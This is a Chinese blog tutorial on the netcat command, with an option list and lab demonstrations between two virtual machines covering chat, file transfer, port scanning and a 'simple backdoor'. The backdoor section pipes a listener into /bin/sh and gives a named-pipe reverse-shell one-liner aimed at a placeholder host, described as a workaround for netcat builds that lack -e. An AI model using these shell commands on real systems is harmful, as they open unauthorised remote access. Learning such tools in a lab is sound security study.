51 nc

作者: StarShift | 来源:发表于2016-11-04 23:02 被阅读176次

    nc 命令简介

    nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。

    nc 命令选项

    1.参数

    • -4 使用IPv4地址。
    • -6 使用IPV6地址..
    • -D 开启debugging 在 socket.
    • -d 不尝试从stdin读取数据.
    • -h 查看帮助信息
    • -i 指定文本行发送和接收的延时时间. 也可以制造连接到多端口的延时.
    • -I 指定TCP接收缓冲区大小
    • -n 任何指定的地址,主机名或端口都不做任何DNS或服务解析.
    • -k 强制nc持续监听另一个连接直到它的连接完成. 没有 -l 选项是错误的.
    • -l 用于指定nc应该监听一个传入的连接,而不是连接到远程主机. 该选项不能与以下选项联合使用-p, -s, 或 -z 选项. 此外, 任何用-w选项指定的超时会被忽略.-
    • -p source_port 指定nc使用的源端口,受到权限和可用性的限制.
    • -r 指定源和/或目标端口随机选择而不是一个范围序列或系统分配的顺序.
    • -s source 指定源IP的接口用于发送数据包.
    • -u 使用UDP协议。
    • -V rtable 设置要使用的路由表. 默认是 0.
    • -v 使nc给出更详细的输出.
    • -w timeout 无法建立的或者闲置的连接在指定秒数之后超时. .
    • -z 指定nc只是扫描正在监听的守护进程,不发送任何数据. 不可和-l选项同时使用。
    • -q 指定客户端收到EOF之后退出的时间。
    1、开启本地监听端口

    本次实验我们使用两个虚拟机进行。我的两台虚拟机一台地址为192.168.125.128 ,另外一台为192.168.125.129。

    在192.168.125.128 上面打开一个本地监听端口。

    使用 -l 选项在本地创建一个监听端口。

    root@ubuntu:~# nc -l -p 80
    

    通过netstat -anpt 查看当前开放端口。

    root@ubuntu:~# netstat -antp
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
    tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      2215/nc         
    tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      653/cupsd       
    tcp        0      0 0.0.0.0:8123            0.0.0.0:*               LISTEN      1150/sshd       
    tcp        0     52 192.168.125.128:8123    192.168.125.1:54405     ESTABLISHED 2142/sshd: newer [p
    tcp6       0      0 ::1:631                 :::*                    LISTEN      653/cupsd       
    tcp6       0      0 :::8123                 :::*                    LISTEN      1150/sshd
    

    在192.168.125.129 上面运行命令,连接到192.168.125.128 的80端口。

    nc -nvv 192.168.125.128 80
    

    输入想要输入的内容:

    root@ubuntu:~# nc -nvv 192.168.125.128 80
    Connection to 192.168.125.128 80 port [tcp/*] succeeded!
    kjkjl
    hello
    

    在192.168.125.128 上面输出:

    root@ubuntu:~# nc -l -p 80
    kjkjl
    hello
    

    同时,在192.168.125.128 上面输入

    root@ubuntu:~# nc -l -p 80
    kjkjl
    hello
    dkajdkajdl
    

    也会在192.168.125.129 上面获得输出:

    root@ubuntu:~# nc -nvv 192.168.125.128 80
    Connection to 192.168.125.128 80 port [tcp/*] succeeded!
    kjkjl
    hello
    dkajdkajdl
    
    nc传输文件

    128:

    先删除cats.txt , 然后打开80端口,将输出重定向至cats.txt

    root@ubuntu:~# ls
    1   1.txt  3.txt     herpets.txt  ip.txt  my.txt     pets.txt  web.txt
    1n  2.txt  cats.txt  html.txt     link    nohup.out  pet.txt
    root@ubuntu:~# rm cats.txt 
    root@ubuntu:~# ls
    1   1.txt  3.txt        html.txt  link    nohup.out  pet.txt
    1n  2.txt  herpets.txt  ip.txt    my.txt  pets.txt   web.txt
    root@ubuntu:~# nc -l -p 80 > cats.txt
    

    129:

    连接128 的80端口,并将cats.txt作为输入。

    root@ubuntu:~# nc -nvv 192.168.125.128 80 < cats.txt 
    Connection to 192.168.125.128 80 port [tcp/*] succeeded!
    

    命令结束后查看128的cats.txt文件:

    root@ubuntu:~# cat cats.txt 
    This is my cat
      my cat's name is betty
    This is my dog
      my dog's name is frank
    This is my fish
      my fish's name is george
    This is my goat
      my goat's name is adam
    

    NC 绑定shell 做一个简单后门

    128 :

    通过nc 监听本地80 端口,然后管道给/bin/sh作为输入。

    root@ubuntu:~# nc -l -p 80 | /bin/sh
    

    129:
    在129 上面连接128的80端口,就可以运行shell命令了。

    1. 先创建一个目录
    root@ubuntu:~# nc -nvv 192.168.125.128 80 
    Connection to 192.168.125.128 80 port [tcp/*] succeeded!
    mkdir -p /home/nc
    ``
    2. 查看128 上面的创建情况,文件夹创建成功。
    
    

    root@ubuntu:~# ls /home/
    nc newer

    
    在Linux的大部分发行版中都默认编译了nc,但也许是出于安全考虑,发行版中默认编译的nc往往没有-e选项(没有define一个GAPING_SECURITY_HOLE常量),也就是说我们不能通过-e选项绑定目标的shell,使得我们在利用上受到限制。
    
    

    root@bt:~#mknod /tmp/backpipe proot@bt:~#/bin/sh 0</tmp/backpipe | nc x.x.x.x listenport 1>/tmp/backpipe

    
    #### 使用nc作为网络扫描
    
    可以使用nc作为网络扫描器,扫描服务器的开放端口。
    
    

    root@ubuntu:~# nc -zvv 192.168.125.128 8120-8125
    nc: connect to 192.168.125.128 port 8120 (tcp) failed: Connection refused
    nc: connect to 192.168.125.128 port 8121 (tcp) failed: Connection refused
    nc: connect to 192.168.125.128 port 8122 (tcp) failed: Connection refused
    Connection to 192.168.125.128 8123 port [tcp/*] succeeded!
    nc: connect to 192.168.125.128 port 8124 (tcp) failed: Connection refused
    nc: connect to 192.168.125.128 port 8125 (tcp) failed: Connection refused

    相关文章

      网友评论

          本文标题:51 nc

          本文链接:https://www.haomeiwen.com/subject/duaputtx.html